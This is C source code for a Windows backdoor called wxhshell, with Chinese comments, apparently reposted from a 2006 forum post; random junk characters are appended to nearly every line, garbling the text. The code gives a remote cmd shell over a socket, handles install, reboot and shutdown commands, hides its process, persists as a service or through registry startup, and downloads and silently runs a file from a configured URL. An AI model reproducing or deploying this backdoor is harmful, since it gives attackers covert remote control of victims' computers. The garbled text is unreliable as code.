    switch(cmd[0]) { zfGr1;  
  a-5#8  
  // 帮助 gkx<<)y l  
  case '?': { -N2m|%B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -PiZvge  
    break; ZQ#AEVI,  
  } w /CD-  
  // 安装 9v}vCg  
  case 'i': { fEyc3K'5V  
    if(Install()) h&b s`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^"$~&\+x5  
    else r`:dUCFE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t@`Sa<  
    break; ;AarpUw'  
    } @=l.J+lh  
  // 卸载 \3j4=K'nE  
  case 'r': { l-[5Zl;"  
    if(Uninstall()) @#5?tk0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (G{2ec:?  
    else ~$ 4!C'0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n(Ry~Xu_  
    break; 0:>C v<N  
    } Yp9%u9tNq  
  // 显示 wxhshell 所在路径 _qS4Ns/4s  
  case 'p': { .OF2O}  
    char svExeFile[MAX_PATH]; uF-Rl## >  
    strcpy(svExeFile,"\n\r"); UTuOean ]'  
      strcat(svExeFile,ExeFile); 62/tg*)  
        send(wsh,svExeFile,strlen(svExeFile),0); )7N$lY<  
    break; yrrP#F  
    } Y2y = P  
  // 重启 BUEV+SZ4  
  case 'b': { mDIN%/S'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =$vy_UN  
    if(Boot(REBOOT)) RsP^T:M}$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 95  X6V  
    else { KWT[b?  
    closesocket(wsh); DGx<Nys@B  
    ExitThread(0); "& q])3h=  
    } 3#c0p790  
    break; t3aDDu  
    } L>2gx$f  
  // 关机 CK} _xq2b  
  case 'd': { aw'o=/a8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bRc~e@  
    if(Boot(SHUTDOWN)) [Z+E_Lbz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (0bXsfe  
    else { @LDu08lr  
    closesocket(wsh); }F)eA1  
    ExitThread(0); ~^"s.Lsb  
    } +WFa4NZ  
    break; @)Sd3xw[  
    } n'Z5rXg  
  // 获取shell -- |L?-2k,  
  case 's': { ]Y6y ]u  
    CmdShell(wsh); 'xc=N  
    closesocket(wsh); o7s<G8;?  
    ExitThread(0); UL\gcZ Zkl  
    break; VWE`wan<  
  } CZ/:(sOJ  
  // 退出 fhQ}Z%$  
  case 'x': { ?N!.:~~k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;!/g`*?  
    CloseIt(wsh); @RVj~J.A  
    break; Pt %EyFG  
    } BYsQu.N  
  // 离开 e!O:z   
  case 'q': { V]A*' ke/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1ba* U~OEg  
    closesocket(wsh); *6 P)HU@  
    WSACleanup(); {(qH8A  
    exit(1); Qx}hiv/  
    break; X0gWTs  
        } }h_= n>  
  } '9q:gFO  
  } |t h"ET  
's6hCs&|NV  
  // 提示信息 23[XmBf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Dw18gqr=@  
} -&_;x&k /  
  } 3r,^is  
Hqm1[G)  
  return; 91j.%#[v'  
} t_ZWd#x+;  
RkXW(T`  
// shell模块句柄 [^E{Yz=8,  
int CmdShell(SOCKET sock) F6 c1YI[  
{  8&KqrA86  
STARTUPINFO si; 8 n)3'ok  
ZeroMemory(&si,sizeof(si)); Nc[V kJ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `z!?!"=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _i+7O^=d6X  
PROCESS_INFORMATION ProcessInfo; ?o6\>[O  
char cmdline[]="cmd"; CaqMLi%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lC(g&(\{  
  return 0; QF`o%mI  
} wZ =*ejo  
K+J fU J  
// 自身启动模式 ~ 'L`RJR  
int StartFromService(void) E'4 dI:  
{ #^&.*' z%z  
typedef struct 66shr  
{ ,2 _!hm /  
  DWORD ExitStatus; 8ORr  
  DWORD PebBaseAddress; 5Dlx]_  
  DWORD AffinityMask; aXO|% qX  
  DWORD BasePriority; r:uW(<EP^  
  ULONG UniqueProcessId; Di8;Tq  
  ULONG InheritedFromUniqueProcessId; \mp5G&+/Q  
}   PROCESS_BASIC_INFORMATION; [xsiSt?6  
u9R:2ah&K  
PROCNTQSIP NtQueryInformationProcess; 4Z<  
/C)FS?=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X mX .)h'Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G@;I^_gN  
h9 &V   
  HANDLE             hProcess; nH^RQ'19  
  PROCESS_BASIC_INFORMATION pbi; F|t_&$Is?  
d9sqO9Ud8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t.E3Fh!o  
  if(NULL == hInst ) return 0; bZsg7[: C  
z@n779i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !u=,bfyH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N`%f+eT(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]w[T_4 l  
Kp_^ 2V?  
  if (!NtQueryInformationProcess) return 0; fnm:Wa|,%|  
IB+)2`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C2 ] x  
  if(!hProcess) return 0; >E3 lY/[  
D1VM_O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p~w|St 7jg  
*=ymK*  
  CloseHandle(hProcess); &BDdJwE  
2r|!:^'?W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wk"zpI7L  
if(hProcess==NULL) return 0; k_<8SG+`  
#XlE_XD  
HMODULE hMod; `2Oh0{x0*O  
char procName[255]; _C97G&  
unsigned long cbNeeded; N>}2&'I  
[5Dg%?x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #UpxF?A(  
+w pe<T  
  CloseHandle(hProcess); dECH/vJ^  
HGjGV]N5  
if(strstr(procName,"services")) return 1; // 以服务启动 cWA$O*A  
=wy3h0k^  
  return 0; // 注册表启动 ^."HD(  
} c_r&)8  
`e!hT@Xxa  
// 主模块 2dF:;k k  
int StartWxhshell(LPSTR lpCmdLine) N%.Dj H  
{ b|HH9\  
  SOCKET wsl; [d_sd  
BOOL val=TRUE; zsx12b^w  
  int port=0; hj.Du+1  
  struct sockaddr_in door; sR1 &2hB  
br9`77J8  
  if(wscfg.ws_autoins) Install(); aab?hR  
:>t? ^r(  
port=atoi(lpCmdLine); ]'/ZSy,  
G$D6#/rR  
if(port<=0) port=wscfg.ws_port; 4U*uH  
H}$hk  
  WSADATA data; E0i_sB~T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;|Ja|@82  
zjrr*iw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P00pSRQHD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F^]?'`7md  
  door.sin_family = AF_INET; i Y2%_b!5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z4nVsgQ$  
  door.sin_port = htons(port); !r8Jo{(pb  
KrFV4J[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A<&:-Zz  
closesocket(wsl); D?w-uR%Y  
return 1; drQioH-  
} V!S B9t`E  
(1vmtg.O  
  if(listen(wsl,2) == INVALID_SOCKET) { CKTD27})  
closesocket(wsl); X; gN[  
return 1; a'v%bL;H~  
} ):_x  
  Wxhshell(wsl); d%istFL)  
  WSACleanup(); Z0~}'K   
@Yq!  
return 0; ,K'}<dm|x  
Lu~e^Ul   
} GZN@MK*co  
+"] 'h~W  
// 以NT服务方式启动 8elT/Wl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iK"j@1|  
{ `f^`i~c\  
DWORD   status = 0; Ccocv>=Q&J  
  DWORD   specificError = 0xfffffff; a91Q*X%  
/rNY;qXM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pr-{/6j6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QsmG(1=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L#e|t0'#  
  serviceStatus.dwWin32ExitCode     = 0; BX),U  
  serviceStatus.dwServiceSpecificExitCode = 0; tc{23Rf%  
  serviceStatus.dwCheckPoint       = 0; b'N"?W^YQ  
  serviceStatus.dwWaitHint       = 0; _OF 8D  
2#A u6BvX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~X;(m<f2  
  if (hServiceStatusHandle==0) return; omV.Qb'NS  
VmTk4?V4  
status = GetLastError(); b)u9#%Q  
  if (status!=NO_ERROR) d]e`t"Aj  
{  <C4^Vem  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X/1Z9 a+W  
    serviceStatus.dwCheckPoint       = 0; <EI'N0~KG  
    serviceStatus.dwWaitHint       = 0; l1o dkNf|  
    serviceStatus.dwWin32ExitCode     = status; v] *W*;  
    serviceStatus.dwServiceSpecificExitCode = specificError; uF T\a=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ZDh8 *ND  
    return; H[x9 7r  
  } 8IC((  
nm'm*sU\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @D"1}CW  
  serviceStatus.dwCheckPoint       = 0; sI`i  
  serviceStatus.dwWaitHint       = 0; #k=!>%+E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f|VP_o<  
} CRWO R pP  
)m[!HE`cZ  
// 处理NT服务事件,比如:启动、停止 ,`|KN w5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d*3R0Q|#{  
{ ? =IbiT  
switch(fdwControl) -T{~m6  
{ gr=ke #   
case SERVICE_CONTROL_STOP: Qb# S)[6s+  
  serviceStatus.dwWin32ExitCode = 0; VH*j3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @F7QQs3  
  serviceStatus.dwCheckPoint   = 0; c2"eq2'BS  
  serviceStatus.dwWaitHint     = 0; kXX RMR  
  { raJyo>xXb5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `T9<}&=!  
  } 33Mr9Doon  
  return; 4 qW)R{%  
case SERVICE_CONTROL_PAUSE: n?,fF(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GZ'hj_2%<  
  break; <6apv(2a  
case SERVICE_CONTROL_CONTINUE: g6W.Gl"5\w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y+ :<  
  break; cDTDim1F  
case SERVICE_CONTROL_INTERROGATE: . ~|^du<X  
  break; 0t4i'??  
}; F"23>3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v!`M=0k  
} Vxgc|E^J  
'`o+#\,b^%  
// 标准应用程序主函数 fQx 4/4j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R4qk/@]t  
{ DTIy/  
m d C. FO-  
// 获取操作系统版本 t%dPj8~  
OsIsNt=GetOsVer(); % 9WWBxS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {{DW P-v4  
oW+R:2I~O  
  // 从命令行安装 FyS K&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 98O z  
U3U eTa_  
  // 下载执行文件 x@k9]6/zs  
if(wscfg.ws_downexe) { b`:Eo+p   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L7xTAFe  
  WinExec(wscfg.ws_filenam,SW_HIDE); x`eYCi  
} o`sn/x  
d7G'+B1  
if(!OsIsNt) { cL WM]\Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 9Pb0Olh  
HideProc(); 0^[$0]Mt[  
StartWxhshell(lpCmdLine); fg1 zT~  
}  03#_ (  
else yz+r @I5  
  if(StartFromService()) uC;@Yi8  
  // 以服务方式启动 ss2:8up 99  
  StartServiceCtrlDispatcher(DispatchTable); 6% ,Q  
else 9SFiL#1  
  // 普通方式启动 LQQhn{[D  
  StartWxhshell(lpCmdLine); ):[[Ch_  
$Y4 Ao-@  
return 0; TMRXl.1  
}
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只看该作者 1 发表于: 2006-10-10
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